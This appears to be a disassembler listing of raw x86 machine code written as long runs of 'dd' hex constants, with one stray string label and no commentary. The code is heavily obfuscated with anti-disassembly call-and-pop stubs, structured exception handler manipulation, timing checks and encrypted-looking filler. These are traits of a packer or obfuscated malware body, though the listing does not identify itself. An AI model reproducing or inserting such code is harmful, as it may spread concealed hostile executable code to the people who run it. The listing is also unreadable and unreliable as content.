0E96B26C1h, 8EF38255h, 666DC87Ch dd 242BE781h, 0A703B5FFh, 6A0606h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1A0424h, 52420000h, 74DF28C3h, 0E77AAC6Eh dd 2209BD8Bh, 95FF0603h, 6030CFDh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ch, 0F4C35545h, 230BB31Ch, 0AFD31490h dd 3E52DF81h, 6696336Dh, 0B750FA8Bh, 0DF8B96BDh, 63E1BF66h dd 0A703B5FFh, 0BD890606h, 6031B49h, 2E7D95FFh, 6A0603h dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h dd 4B2334C3h, 68F0F18h, 89000000h, 324C5BDh, 0C9BD8306h dd 60326h, 5A840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1C0424h, 55450000h, 0D6160CC3h, 58DAA226h dd 6050CF1Eh, 0D68B6660h, 61F98B66h, 7E9h, 0D844BC00h dd 0AF87A78Bh, 24348961h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 14h, 77C35242h, 0A703B5FFh, 6A0606h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h dd 9F95ACC3h, 0E5FC40E2h, 14E9EEh, 6D630000h, 7D67E99Dh dd 57CDD67Fh, 95675126h, 9E64818h, 95FFBCA3h, 60314B9h dd 1BE78166h, 3B5FF07h, 6A0606A7h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 210AC357h dd 8D894DD0h, 6033129h, 0C9595FFh, 0B70F0603h, 4DBD83DEh dd 206032Dh, 64840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1A0424h, 50400000h, 5D9225C3h, 628DB270h dd 0EDBDBF66h, 23ED858Bh, 0CE80603h, 53000000h, 0E418F163h dd 3E8E456Ah, 0E91BD150h, 6, 87F6649Eh, 0C65FE1F4h, 13E90000h dd 0C9000000h, 0E925C1Dh, 497B541Fh, 0BF840847h, 0B000DE4Ch dd 85C72746h, 6033081h, 0 dd 0FFF3FAE9h, 0C78166FFh, 0C18B0D51h, 1820Fh, 8DFC0000h dd 3130985h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1904h, 0C3504000h, 0A67A854Fh, 0BF0F21CCh, 0BA6090DFh dd 5474E5E7h, 0B61DB966h, 50605061h, 0F616052h, 541CBF31h dd 585A412Dh, 9061CA8Bh, 2189BD33h, 6A0603h, 1831BD8Bh dd 5E90603h, 0C7000000h, 7F0F6997h, 6A006Ah, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 0D0CD99C3h dd 9842A979h, 8D5BF551h, 7C7F985h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1604h, 0C3504000h, 81023584h dd 58EC3FCBh, 5C08374h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Dh, 4EC35545h, 9771CAB7h, 0E95D563h, 0A5858998h dd 2906031Fh, 3265DBDh, 5F535006h, 6A240489h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h dd 7AC5C355h, 954BBFE6h, 6A4BEBh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ah, 0C35343h, 0A0D5522h, 9D8B61C9h dd 6032CC1h, 0F8D0Fh, 0AE90000h, 88000000h, 0BED96825h dd 37314258h, 6A006A06h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 14042444h, 43000000h, 31CEC353h, 30CD5BDh dd 0CB816606h, 95FF1FE5h, 6031DF9h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 18h, 0BEC35545h, 9C7597C3h, 21999D8Bh dd 8D8D0603h, 6069933h, 14E9h, 9676C300h, 443FAADEh, 0F3EE7BDh dd 4DCBD7FAh, 203DB149h, 419D0355h, 0FF06031Bh, 56006AD1h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h dd 0E580F0F9h, 89E6052Ah, 32CE1BDh, 0C5BD8906h, 83060330h dd 31D89BDh, 850F0106h, 8Ah, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ch, 0E8C35747h, 7CDE908Dh, 35739538h dd 5E9026Ah, 95000000h, 3EAE31BBh, 299D8950h, 5F06032Dh dd 9E96050h, 77000000h, 600F84D8h, 0CC203E5Eh, 712FBB60h dd 0C68B473Ah, 4896161h, 56006A24h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1704h, 0C3564600h, 0DB6DC96Eh, 296D9589h dd 95FF0603h, 6030CFDh, 420EBB66h, 21FD9D8Bh, 16E90603h dd 0E800000Eh, 0 dd 3ED815Dh, 6A0607C8h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 18042444h, 43000000h, 786DC353h, 89A3D097h dd 31C91B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1404h, 0C3534300h, 0C1BD8B9Ah, 8D060329h, 6910085h dd 77BF6606h, 0E850907Fh, 8, 0B68AEB73h, 0C8D8BB36h, 8D89905Bh dd 6031CD9h, 35FF64h, 0F000000h, 48Eh, 0DEBB6600h, 259D8BACh dd 6406030Dh, 2589h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1C0424h, 55450000h, 0CCA542C3h, 1E53946Eh dd 85FF1610h, 6031D01h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 17h, 0F3C35242h, 0E977A139h, 10h, 50B8DFBCh dd 6D589F8Bh, 91A0B7F4h, 0CD24E362h, 6AFF6Ah, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 170424h, 57470000h, 9DA60DC3h dd 13E994h, 1B040000h, 7D584FE4h, 2055173Ah, 0D120993Dh dd 0B6C9390Bh, 65B5FFEBh, 0E9060317h, 0Ch, 2BAAC285h, 0F0E02B4h dd 3D43EB4Ah, 1B4D95FFh, 0FBE90603h, 0F5000000h, 0B53100B0h dd 6031C31h, 0B70F70E6h, 0A4C4BBFAh, 71E46B65h, 613CF88Bh dd 0DC830Fh, 9D8B0000h, 6032639h, 80C8B60Fh, 6BA55EBh dd 0E9000000h, 8, 0F3B51D78h, 0F511DF2Bh, 9D8BC18Bh, 6031745h dd 8904E8C1h, 303D98Dh, 59BD8B06h, 6606031Eh, 0FBBFE2F7h dd 8B18BC41h, 8BC82BD9h, 3259D9Dh, 1D18B06h, 30E9D95h dd 9D015206h, 6033029h, 80E95Bh, 85890000h, 6031D25h, 1858Bh dd 0BD8B0000h, 6032D75h, 0E907C083h, 5, 383C77D8h, 8383B7D5h dd 8B6600C0h, 0FD03BFBh, 1083h, 359D2300h, 0E9060321h dd 46h, 7BAF81BFh, 0FF8D8B71h, 50FFFFFFh, 2DE99589h, 835F0603h dd 840F01E1h, 2Ah, 9A59D31h, 0A5830603h, 0FFFFFFFFh, 0D2BF66FEh dd 1958992h, 60000000h, 0E418D89h, 9D230603h, 6030755h dd 0E961h, 0B58D0000h, 6074791h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 14h, 0D9C35646h, 0F646BB66h, 6A006Ah dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h dd 8B3E56C3h, 95FFF8D8h, 60323A5h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 19h, 33C35343h, 5BFDE144h, 0C7BF6664h dd 952B60B9h, 6030B59h, 0F32B961h, 83F50000h, 6AFCE1h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 95FCD0C3h, 56FA2CAFh, 2A698D89h, 0BBFC0603h, 2AFC940Ch dd 6AC02Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h dd 56460000h, 0BCDB1EC3h, 1F01BD0Bh, 0BA0603h, 0F9000000h dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Dh, 54C35646h, 1699AB9Fh, 51C15FB9h dd 0DF816608h, 6AE399h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 190424h, 51410000h, 0F987A1C3h, 0F7AB257h, 880DD8B7h dd 31000000h, 32655B5h, 0A5958B06h, 6A060320h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h dd 1057C357h, 4315BBA9h, 13E9h, 0C9416600h, 0BFB4C6AEh dd 3DFF93BCh, 0A0849B6Eh, 0B412DBA4h, 8D8BBDB3h, 6031A65h dd 216D8531h, 8B500603h, 3188BC2h, 8B188BC1h, 3E8D1C1h dd 58188BC2h, 8E9h, 0AB442D00h, 48DDC30Ch, 53006A35h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 751DB882h, 959D8B8Ah, 83060325h, 3210DBDh, 840F0006h dd 77h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h dd 4DC35141h, 0B19BD01h, 0B80603h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h dd 4DFDC350h, 8D8D49BBh, 6034D69h, 25A58D89h, 0E1FF0603h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0F7C35141h dd 0D6963EDCh, 83B190A6h, 30071BDh, 840F0006h, 473h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 35C35747h, 9D89F52Ah dd 6031A11h, 71BD83h, 0F010603h, 45D84h, 8D896000h, 6032AB9h dd 68B0Fh, 9D030000h, 6030D31h, 71BD8361h, 3060300h, 406860Fh dd 0BD8B0000h, 60330F9h, 312D8D89h, 6A600603h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h dd 89E0C353h, 7A1F3427h, 9D8B9088h, 60322B9h, 0FFDBD2Bh dd 8C660603h, 0C5B589D9h, 8A060324h, 4E180DAh, 2C8DBD8Bh dd 0C90A0603h, 189840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 170424h, 52420000h, 0A38823C3h, 68D0F6Dh dd 89000000h, 300AD85h, 0AD858B06h, 0E9060309h, 0Ch, 4BA031D5h dd 8424ECE7h, 384AAA9Bh, 1A598533h, 6A0603h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 0F88B9BC3h dd 879B3FC7h, 311B2003h, 3259DBDh, 0BE89006h, 0DA000000h dd 551F55A4h, 0D2643A98h, 820F0FADh, 2, 505B6160h, 8E9h dd 78DC1900h, 5FA7D3CCh, 6A90AFh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 170424h, 56460000h, 42C22DC3h, 6AF503h, 14E8h dd 0FD2BD900h, 660C60ADh, 6404F117h, 8C43ECF4h, 4E88E805h dd 459D8BECh, 5F06030Eh, 562E1068h, 10E921h, 5A600000h dd 0CDFB0EFh, 8D88BDD7h, 82657B30h, 3481D663h, 492DEF24h dd 85850121h, 0FF06031Fh, 32E7195h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 35504231h dd 0BE93986h, 39000000h, 56168C9Eh, 93A20957h, 8589E685h dd 606A703h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ch, 0DEC35343h, 0FC246434h, 92E480E9h, 1CFE9h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h dd 8BBC5EEEh, 6A6FB85h, 0DA8B6606h, 1800C7h, 0B70F0000h dd 0FFB58BD9h, 6A0606A6h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 14042444h, 47000000h, 0F43C357h, 687h, 0D1BD0B00h dd 8B060316h, 31F8985h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1904h, 0C3524200h, 0AF7010E8h, 5252D791h dd 5BDF8B66h, 81BD8B5Fh, 89060320h, 7D8D8906h, 2B060315h dd 305E1BDh, 0AD858B06h, 0F060309h, 689h, 818D8900h, 89060323h dd 830F0446h, 6, 3059BD31h, 0E8500603h, 13h, 6158F394h dd 8A38FBFFh, 0C4736E45h, 823B5FD3h, 0BB9BDEE9h, 6EBC2AEEh dd 2434895Bh, 68D0Fh, 85890000h, 6033115h, 0A6FBB5FFh dd 6A0606h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h dd 55450000h, 0CC5DF6C3h, 0E8B9E780h, 4, 1F03FFh, 28F236BFh dd 0FA8B5044h, 424448Bh, 8A0Fh, 8B0000h, 0D38A6060h, 310F5250h dd 0BA61585Ah, 0EB7CE74h dd 24448961h, 0D88B6604h, 0A99D8B58h, 8D060323h, 6A70385h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h dd 0C3574700h, 939761C0h, 9D316C28h, 6032AB9h, 68A0Fh dd 95890000h, 6033095h, 0F90FA8Bh, 88Eh, 0F525000h, 5A5F5031h dd 8B515058h, 66905FDAh, 0FF25F9BBh, 32E7195h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 0EC9A8FA7h, 0FD0DC669h, 23BF6661h, 7185C77Fh, 3060300h dd 66000000h, 0BD83DE8Bh, 606A703h, 55840F00h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 14042444h dd 42000000h, 0E9F6C352h, 12h, 0BBFD812Bh, 0AC4D5419h dd 27BE0EE3h, 8CBA6A13h, 38E90A72h, 0E8000000h, 0Ch, 0B8C09C32h dd 0BAA35F4Bh, 9F55242Bh, 14619D8Bh, 665B0603h, 5E48EF81h dd 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 31C08B00h dd 30CF595h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1704h, 0C3574700h, 0F13752CCh, 23E9BD29h, 80600603h dd 8D297AE9h, 6032A4Dh, 71BD8361h, 3060300h, 439850Fh dd 9D890000h, 60309B9h, 0A703BD83h, 0F000606h, 42684h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h dd 0C3534300h, 0F7FCEAFCh, 81663B21h, 0FF6CF9D3h, 6A703B5h dd 0FFD88B06h, 32A7595h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1B04h, 0C3554500h, 6F54737Eh, 0C9250B5Dh dd 9DB58960h, 89060321h, 320F5B5h, 8E0F6106h, 0 dd 0A6F7B58Bh, 0C7FC0606h, 1000106h, 8D89F800h, 6032D45h dd 10E996h, 76270000h, 9C14BB22h, 0DA63E602h, 0D31AAD7Fh dd 665085D5h, 96AA0EBFh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 15h, 8C35141h, 12E966h, 7D7E0000h, 0A67EC4F0h dd 0CAB14C88h, 58DE942Bh, 491DA462h, 0CE8h, 5342F200h dd 406CB58Ch, 0D9A8E426h, 8166607Eh, 0E9B142D8h, 0Eh, 0F1DAD586h dd 9313DEF1h, 8CCBD884h, 5B61D9ADh, 18FDBD8Bh, 0B5FF0603h dd 606A703h, 723FCB81h, 12E954CDh, 0FD000000h, 3DB6C30Fh dd 0BC8E33DFh, 0D13CDED0h, 0F5D981EFh, 4995FFFFh, 6A060324h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h dd 47000000h, 9975C357h, 0BDEFDD68h, 0F7B58BD0h, 6A0606A6h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h dd 47000000h, 3861C357h, 5634EABFh, 31858B1Bh, 66060331h dd 0C886CB81h, 0C48689h, 9D0B0000h, 6032A8Dh, 20A5958Bh dd 8B520603h, 0C2835FF8h, 53006A04h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 0AF024773h dd 939CB53h, 5E8h, 3081B400h, 895BE02Fh, 9D892050h, 6031861h dd 0BB16858Dh, 0CE90606h, 1000000h, 0ADC83C27h, 0F3DFFD7Dh dd 8981A735h, 0B886h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1604h, 0C3514100h, 0FE43D0Dh, 68Ch, 8DBD8B00h dd 81060320h, 0E842B4E3h, 0DE938h, 1CF30000h, 0E7395180h dd 2C0F807Ah, 6A79C2DAh, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1C04h, 0C3574700h, 0F479A5F1h, 0E7008B23h dd 0C381664Bh, 0B5FFF617h, 606A703h, 19B5BD8Bh, 95FF0603h dd 6030CFDh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Bh, 0BEC35646h, 293429E2h, 961CB1A6h, 6D0BBB50h, 505F4C1Bh dd 48B0Fh, 0BB660000h, 669678CCh, 0FF5452BBh, 6A703B5h dd 95FFF506h, 6032E7Dh, 7811F781h, 0BD830CFCh, 60326C9h dd 5F840F00h, 0E8000000h, 13h, 8D28BA4Eh, 4AD57650h, 0FCA228D9h dd 5BFB004Fh, 0E8DDBDCAh, 0Bh, 0F13C7E1Ah, 0C5DB623h, 570DA5CDh dd 505B5B5Bh, 13E8h, 3F99E200h, 2E832E3Dh, 8F5CE829h, 728F0FF9h dd 0AA6C173Bh, 0D88B5250h, 0F98B310Fh, 895B585Ah, 8D0F2434h dd 3, 0FFFB70Fh, 0B5FFF9BFh, 606A703h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 19h, 34C35141h, 0A8DEAEFh, 0E8C0F49h dd 60000000h, 180DBD8Bh, 0BD8B0603h, 6031D35h, 0B995FF61h dd 6A060314h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 17042444h, 41000000h, 6FFFC351h, 0B5FFEA9Eh, 606A703h dd 9D0326B3h, 60314D5h, 0C9595FFh, 6A0603h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1B0424h, 50400000h, 9009F5C3h dd 0D2A22EDAh, 0F9BF0FEBh, 2D4DBD83h, 0F020603h, 4884h dd 0DA8B6600h, 23ED858Bh, 0C60603h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 745AAF33h dd 9D8B603Bh, 6031C61h, 0FE9h, 98ECBB00h, 27A5FF4Bh, 0CCCC6300h dd 507EE667h, 8185C761h, 60330h, 8B000000h, 31D41BDh, 0E9FB8B06h dd 0FFFFF318h, 0FE9h, 0E07FF700h, 0B5111FF1h, 0BCD2ED5Fh dd 0BAD86DB4h, 6AC18Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1A0424h, 55450000h, 0CD887DC3h, 5ACC3149h, 0A71501BBh dd 9858D22h, 80060313h, 0F5096CBh, 483h, 5F535200h, 2404895Bh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0ECC35343h dd 6A3ADEA6h, 323F68DBh, 6A006A64h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 9433C357h dd 4B423A86h, 0CCF9BAB9h, 25ADBD89h, 0FE80603h, 0FA000000h dd 27D4A184h, 0A3B6F159h, 0DAD80D83h, 0BD890BE6h, 6030B95h dd 6A006A5Bh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 18042444h, 46000000h, 5CCC356h, 6604DE28h, 858DD88Bh dd 607D82Bh, 3FDBD8Bh, 0AE90603h, 4F000000h, 0ED02CD63h dd 432C4657h, 5C0834Ch, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ch, 44C35242h, 3E243EFAh, 16D3ADAEh, 0FFD9D8Bh dd 8B900603h, 10E850FEh, 77000000h, 0A4B60819h, 0B43C1361h dd 7C8A89EDh, 0E9819424h, 13h, 793B4C0Ah, 0F4111CB2h, 0B0D5F41Bh dd 6696CEC5h, 5F6255C9h, 0E9B52990h, 6A060329h, 95952900h dd 6606031Ah, 0F08EEB81h, 8E8006Ah, 0F1000000h, 0D53648C8h dd 8B8BF08Ah, 323DD9Dh, 95FF5F06h, 6031DF9h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 27C35242h, 0CB144866h dd 0F1F1EE8h, 8D8DD9B7h, 6069933h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 19h, 33C35242h, 0BB1FFB34h, 8BD1FF73h dd 30B8D9Dh, 89BD8306h, 106031Dh, 62850Fh, 9D330000h, 6031881h dd 6A026Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h dd 51410000h, 0CF8663C3h, 0B5316218h, 603063Dh, 0FA8B6690h dd 90DA8B50h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 15h, 0B4C35141h, 2BF78050h, 0CFD95FFh, 8D890603h, 6032DF9h dd 0BFAE9h, 0E800h, 815D0000h, 7D835EDh, 59D8B06h, 906031Eh dd 3058DBDh, 858D06h, 6A060691h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 18042444h, 40000000h, 0E62EC350h, 8969B607h dd 325CDB5h, 8B50F806h, 240489FEh, 35FF64h, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h dd 47000000h, 97DCC357h, 0DAF60124h, 28F0F54h, 0B3000000h dd 2589645Dh, 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 90C35343h dd 0C05EAA67h, 85FFC96Ah, 6031D01h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ch, 0C7C35545h, 701A386Bh, 6FC8BE49h dd 4A19D2Bh, 0FF6A0603h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ah, 55C35040h, 0EFD6419Dh, 0B5FF23BCh, 6032021h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 8C35242h dd 0EF5A60ABh, 0F381DFB0h, 79CCEB2Dh, 1B4D95FFh, 0E9E90603h dd 0F000000h, 581h, 0D3816600h, 0B02DE5h, 0BF0F70E6h, 0D88B66FBh dd 0FE8B71E4h, 27059D01h, 613C0603h, 0C2830Fh, 81660000h dd 0F7F2DCBh, 9589C8B6h, 6031479h, 6BAh, 0C18BF900h, 0F659D8Bh dd 0E8C10603h, 3DB50904h, 66060304h, 0DF8BE2F7h, 0D381C82Bh dd 4FEF435Ah, 0BD29D18Bh, 6030BA5h, 83E9h, 0C5BD8B00h dd 29060324h, 32309BDh, 4858B06h, 0E9000000h, 0Ch, 0C3B13792h dd 2293870h, 0F1B920B1h, 8B07C083h, 30B49BDh, 0C08306h dd 3B1DC780h, 0E830FD0h, 89000000h, 312F58Dh, 3EE906h dd 0C7800000h, 0FF8D8B12h, 0BFFFFFFFh, 7B7D6CBAh, 0F01E183h dd 2784h, 0D9D3300h, 6606032Fh, 0A56ECB81h, 0FFFFA583h dd 89FEFFFFh, 3200D8Dh, 4958906h, 66000000h, 0E9A60CBBh dd 0 dd 56C3B58Dh, 800F0607h, 6, 6559D8Bh, 6A0603h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 19h, 0D9C35040h, 0DA795305h dd 959D334Dh, 0FF06031Ah, 323A595h, 2ABB6606h, 0E38B976h dd 0D3800000h, 83FC8A5Ah, 0BD8BFCE1h, 6030FD5h, 0C02BFCFCh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 2CC35545h dd 3CAD011Dh, 1E1D9D8Bh, 7E90603h, 1000000h, 20A6A684h dd 0BA4064h, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1A042444h, 40000000h, 0D9C3C350h, 9785EA17h dd 6E857h, 2F2E0000h, 0EDEFCDFEh, 5E8h, 0DA76100h, 6E963D4h dd 4E000000h, 0CEF2EB7Bh, 0AD5B5B45h, 0E8D1C233h, 0E983D003h dd 6AF47504h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 19042444h, 42000000h, 3F91C352h, 0E2E95E65h, 880Dh dd 5E900h, 0FCDE0000h, 8B2B1F6Bh, 320A595h, 0E1852906h dd 8B06032Eh, 31A658Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1D04h, 0C3524200h, 499BB94Ah, 30ED25A7h dd 9D8B769Bh, 60306B1h, 8BC28B50h, 8BC10318h, 0D1C18B18h dd 8BC203E8h, 6A5818h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 150424h, 56460000h, 89DFFAC3h, 316059Dh, 0D19D0306h dd 83060308h, 3210DBDh, 840F0006h, 84h, 14E9h, 1E69F400h dd 0AB6E4DAEh, 0C9D30E9Eh, 0A8F896D8h, 0B8315DADh, 0FB8B66A2h dd 0B8h, 0A5BD8B00h, 8D06030Fh, 34D698Dh, 52006A06h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h dd 0BBD71A29h, 3122183Ch, 6AE1FFF8h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 74A3C353h dd 0BE011C82h, 9E94230h, 9B000000h, 23384AAAh, 824B5D2Fh dd 71BD83h, 0F000603h, 36F84h, 71BD8300h, 1060300h, 37D840Fh dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h dd 53430000h, 8BB9C5C3h, 0BD83F9DAh, 6030071h, 1A860F03h dd 0E9000003h, 10h, 611F01DFh, 0F8DE134h, 3B7FF8D3h, 0A4797562h dd 66D88B60h, 8D89D98Ch, 6031FBDh, 1AD99D8Bh, 0E1800603h dd 418D2904h, 0A06030Fh, 0F3840FC9h, 0F000000h, 684h, 0ECF78100h dd 8B3E15DAh, 309AD85h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1604h, 0C3564600h, 33E167EDh, 31A5985h, 880F06h dd 89000000h, 3298D85h, 0BB669006h, 50509DDBh, 0AAB86052h dd 611369BBh, 5250310Fh, 890F310Fh, 0 aZxzxrj db 'ZXZXj',0 db 53h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 0A9D94D5Bh, 0D99D89E2h, 6A06031Bh, 0EE900h, 5B430000h dd 32DF36B2h, 0C6240644h, 0F5CF9952h, 0E026D268h, 6292BF79h dd 34814EC0h, 0FF252D24h, 51006A79h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1604h, 0C3514100h, 89BDA3D8h dd 323518Dh, 7195FF06h, 8106032Eh, 2C2B9AEFh, 3858928h dd 8B0606A7h, 30E7DBDh, 167E906h, 0BF660000h, 858B7FAFh dd 606A6FBh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 16h, 0F9C35747h, 9509D6ECh, 6030EF5h, 484EBF66h, 1800C7h dd 0B5890000h, 6032F79h, 0A6FFB58Bh, 0BD230606h, 60308C9h dd 1F89858Bh, 6A0603h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1C0424h, 57470000h, 913AFFC3h, 0A637D134h, 0BD8B81E7h dd 6032105h, 85090689h, 60312E9h, 9AD858Bh, 6A0603h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h dd 866272C3h, 6830Fh, 0BD8B0000h, 60322D5h, 7AFABF66h dd 8B044689h, 31B79BDh, 0BF665006h, 34891F33h, 619D8B24h dd 0FF060305h, 6A6FBB5h, 158D8906h, 68060329h, 0DDAF009Ch dd 6E8h, 49C8C800h, 5FDACA66h, 63240481h, 8D227003h, 6A70385h dd 0DB53106h, 66060316h, 6A72C781h, 4BF6690h, 880F5000h dd 0Ch, 8B0F60h, 66000000h, 612A00BAh, 57006A90h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 0CD90123Fh, 0C6B65A61h, 7195FF0Ch, 6A06032Eh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h dd 710BC355h, 8B6650E6h, 665161FBh, 0C75BDA8Bh, 3007185h dd 306h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1404h, 0C3504000h, 659D8969h, 8B060313h, 32EE5BDh, 3BD8306h dd 606A7h, 47840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1A0424h, 53430000h, 9E1AA6C3h, 7EBEE2Fh dd 3BE9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1804h, 0C3534300h, 0A4DF258h, 0C305009h, 11440011h dd 10E8C101h, 2114430h, 3114C00h, 4E98358h, 36EBE775h dd 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h dd 83110430h, 0E77504E9h, 0C08B00EBh, 2DD99D8Bh, 83F50603h dd 30071BDh, 850F0306h, 3EBh, 3BD83F5h, 606A7h, 3DD840Fh dd 0BD2B0000h, 6031CA1h, 0A703B5FFh, 6A0606h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 180424h, 56460000h, 91199EC3h dd 0E9FC0C99h, 14h, 0B10E0C08h, 93297BF4h, 0B75A47Ah, 699BB7Dh dd 26EEF067h, 2A7595FFh, 0B5290603h, 6030E91h, 0A6F7B58Bh dd 81600606h, 5EA68EF6h, 0C317BB12h, 0C7610BF3h, 1000106h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h dd 0C3554500h, 0E850C8FCh, 12h, 